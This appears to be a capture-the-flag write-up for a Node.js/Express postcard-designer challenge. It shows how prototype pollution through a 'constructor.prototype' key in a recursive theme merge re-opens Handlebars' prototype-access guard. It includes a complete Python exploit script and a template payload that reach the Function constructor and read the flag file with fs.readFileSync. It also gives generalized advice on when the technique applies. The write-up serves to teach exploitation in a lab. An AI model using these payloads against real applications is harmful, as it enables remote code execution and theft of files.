$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: Express app renders a user-supplied Handlebars 4.7.8 template in a worker whose prototype-access guard is on; a recursive theme merge only filters the literal __proto__ key. Solution: pollute Object.prototype via constructor.prototype to inject allowedProtoMethods/allowedProtoProperties (absent as own props on the runtime options, so read off the prototype), bypass the proto-access guard, and drive the String.prototype.sub->Function-constructor RCE to fs.readFileSync the flag path allowed by the Node permission model.
The Lika Tourist Board has launched a postcard designer for visitors who think they know the region. Pick a theme, fill in the postcard data, and let a fresh print worker process prepare a preview. Can you print the ranger's secret?
English summary: A Node.js/Express app exposes POST /api/preview accepting JSON {template, theme, model}. Each request spawns a fresh worker that compiles and renders the user-supplied Handlebars template. The worker runs under the Node --permission sandbox, which blocks child_process but allows fs read of the flag file. The goal is template-injection RCE that performs require('fs').readFileSync(process.env.FLAG_PATH) and returns the content in the preview output.
server.js spawns worker.js per request with flags:
--permission --allow-fs-read=/challenge --allow-fs-read=/tmp/lika/flag.txt --max-old-space-size=48/tmp/lika/flag.txt at startup; the FLAG env var is then deleted; the worker only sees FLAG_PATH=/tmp/lika/flag.txt.worker.js compiles job.template with Handlebars.compile(..., { preventIndent: true }) and renders with:return template({ ...job.model, theme }, { data: rootData, partials: safePartials, allowProtoMethodsByDefault: false, allowProtoPropertiesByDefault: false, });
.constructor, .sub, etc. from prototype chains is blocked by default.containsBlockedKey recursively rejects only the literal key __proto__ in theme/model. It does not block constructor or prototype.allowProtoMethodsByDefault:false / allowProtoPropertiesByDefault:false block prototype method/property access.{{> (expr)}}, inline partials {{#*inline}}, and restricts partial names via regex to an allowlist {@partial-block, myPartial}. The partials object is null-prototype; myPartial is non-writable/non-configurable; rootData['partial-block'] is an own undefined to shadow any pollution.setLayoutOption(target, key=, value=) with key restricted to {title,accent,caption} — a decoy, not needed for the solve.Weakness A — prototype pollution via constructor.prototype.
mergeTheme(target, source) recursively merges theme into a fresh object:
function mergeTheme(target, source) { for (const [key, value] of Object.entries(source)) { if (value !== null && typeof value === "object") { target[key] ??= Array.isArray(value) ? [] : {}; mergeTheme(target[key], value); // recurse into existing object } else { target[key] = value; } } return target; }
Because target[key] ??= {} returns the existing nested object when one is already present, sending
{"constructor": {"prototype": { ... }}}
makes the recursion walk target.constructor (→ Object) then Object.prototype, and finally assign arbitrary keys onto Object.prototype. The __proto__-only filter never sees constructor/prototype, so the pollution lands.
Weakness B — the guard whitelist is read off the (now polluted) prototype.
This is the crux. Handlebars' createProtoAccessControl(runtimeOptions) builds its allowlists from runtimeOptions.allowedProtoMethods and runtimeOptions.allowedProtoProperties. In the worker's options object those keys are never defined as own properties — only allowProtoMethodsByDefault:false and allowProtoPropertiesByDefault:false are own. So when Handlebars reads options.allowedProtoMethods, the lookup falls through to Object.prototype, which we just polluted.
Important subtlety: allowProtoMethodsByDefault/allowProtoPropertiesByDefault are own false on the options object, so they are not pollutable (own property wins over prototype). The exploitable path is specifically the absent allowedProto* keys. By polluting those, we explicitly whitelist constructor (and a few string helper methods) for prototype access, re-enabling the classic gadget even though "allow by default" is off.
Single POST /api/preview request. The theme field carries the pollution; the template field drives the Handlebars String.prototype.sub → Function-constructor RCE.
Pollution (theme): whitelist constructor and the string helpers so the proto-access guard permits the gadget chain:
{"constructor":{"prototype":{ "allowedProtoMethods":{"constructor":true,"sub":true,"split":true,"apply":true,"pop":true,"push":true}, "allowedProtoProperties":{"name":true,"constructor":true,"sub":true,"split":true} }}}
Template: bind a string, grab String.prototype.sub, lookup ... "constructor" to reach Function, build an argument array (via split/push/pop) containing the RCE body, then string.sub.apply 0 codelist constructs and invokes the function. The injected body reads the flag file that the Node permission model allows:
The template passes validateJob: no literal __proto__ key, no partial references, and it is under the 8192-char limit.
#!/usr/bin/env python3 import requests, sys BASE = sys.argv[1] if len(sys.argv) > 1 else "http://TARGET:PORT" template = ( '{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}' '{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}' '{{#with string.split as |codelist|}}{{this.pop}}' '{{this.push "return process.mainModule.require(\'fs\')' '.readFileSync(process.env.FLAG_PATH||\'/tmp/lika/flag.txt\').toString()"}}' '{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}' '{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}' ) theme = { "constructor": { "prototype": { "allowedProtoMethods": { "constructor": True, "sub": True, "split": True, "apply": True, "pop": True, "push": True, }, "allowedProtoProperties": { "name": True, "constructor": True, "sub": True, "split": True, }, } } } r = requests.post( f"{BASE}/api/preview", json={"template": template, "theme": theme, "model": {}}, timeout=30, ) # Flag appears in the JSON `output` field (with some leading [object Object] noise). print(r.status_code) print(r.json().get("output", r.text))
The response output contains the file contents (format FortID{REDACTED}), preceded by some [object Object] noise from the block-helper iteration.
Use this technique when:
target[key] ??= {} / Object.assign-style) filters only the literal __proto__ key — reach Object.prototype via constructor.prototype instead.allowProtoMethodsByDefault:false but does not define allowedProtoMethods/allowedProtoProperties as own properties — those lookups fall through to the (pollutable) prototype, so polluting them re-opens the guard.false flags on an options object are not pollutable, but absent keys that the library reads off the same object are the real pollution sink.--permission sandbox blocks spawning but --allow-fs-read grants the flag path — pivot the SSTI gadget to require('fs').readFileSync(FLAG_PATH) instead of command execution.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar